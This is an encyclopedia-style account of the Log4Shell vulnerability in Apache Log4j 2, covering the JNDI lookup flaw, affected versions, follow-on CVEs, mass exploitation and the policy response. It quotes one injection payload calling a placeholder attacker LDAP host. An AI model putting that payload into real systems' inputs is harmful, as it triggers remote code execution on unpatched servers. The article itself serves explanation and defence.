Log4Shell (Apache Log4j CVE-2021-44228)

On 9 December 2021, a proof-of-concept exploit for a flaw in Apache Log4j 2 — one of the most widely-used logging libraries in the Java ecosystem — appeared publicly. Within hours, the internet was being scanned and exploited en masse. The vulnerability, CVE-2021-44228, nicknamed Log4Shell, scored a perfect CVSS 10.0 and is widely regarded as one of the most severe and far-reaching software vulnerabilities ever disclosed.

The vulnerability

Log4j supports a feature called JNDI (Java Naming and Directory Interface) lookups, allowing log messages to contain references resolved at runtime. The flaw was that an attacker could place a string like ${jndi:ldap://attacker.com/a} into any field that an application logged — a username, a User-Agent header, a chat message, a device name. When Log4j processed that string, it would reach out to the attacker-controlled LDAP server, download a malicious Java class, and execute it. The result was unauthenticated remote code execution from nothing more than a logged string.

All Log4j 2 versions from 2.0-beta9 up to and including 2.14.1 were vulnerable. The flaw was discovered by Chen Zhaojun of the Alibaba Cloud Security Team, who reported it privately to Apache on 24 November 2021.

Why it was so dangerous

Three factors combined to make Log4Shell exceptional:

1. Ubiquity. Log4j is embedded in countless Java applications, frameworks, and enterprise products — often as a deep transitive dependency that organisations did not know they shipped. Affected products ranged from Minecraft and Apple iCloud to VMware, Cisco, IBM, and Amazon services.
2. Triviality. Exploitation required no authentication and no special tooling — a single string pasted into any logged input.
3. Invisibility of the dependency. Many organisations could not even determine whether they were vulnerable, because Log4j was buried inside third-party software they could not inspect.

The patch chain

The initial fix proved incomplete, producing a cascade of follow-on CVEs:

• CVE-2021-45046 (14 Dec): the 2.15.0 fix was incomplete in non-default configurations, allowing RCE/DoS. Fixed in 2.16.0, which disabled JNDI by default.
• CVE-2021-45105 (17 Dec): denial of service via uncontrolled recursive lookups. Fixed in 2.17.0.
• CVE-2021-44832 (28 Dec): RCE via an attacker-controlled JDBC Appender configuration. Fixed in 2.17.1.

Response and exploitation

Exploitation was immediate and broad. Cryptominers, the Mirai and Muhstik botnets, ransomware operators, and state-sponsored groups (later confirmed to include Iranian and Chinese actors) all weaponised the flaw. On 18 December 2021, CISA issued Emergency Directive 22-02, ordering U.S. federal civilian agencies to remediate by 24 December.

Why it matters

In July 2022, the U.S. Cyber Safety Review Board published its first-ever report on Log4Shell, calling it an "endemic vulnerability" that would persist in unpatched systems for up to a decade. Log4Shell became the defining illustration of open-source software supply-chain risk: a single volunteer-maintained library, embedded invisibly across the global software stack, became a universal skeleton key overnight. It accelerated the adoption of software bills of materials (SBOMs), dependency-scanning mandates, and the broader push — formalised in the U.S. Executive Order 14028 — to treat the security of open-source dependencies as critical infrastructure.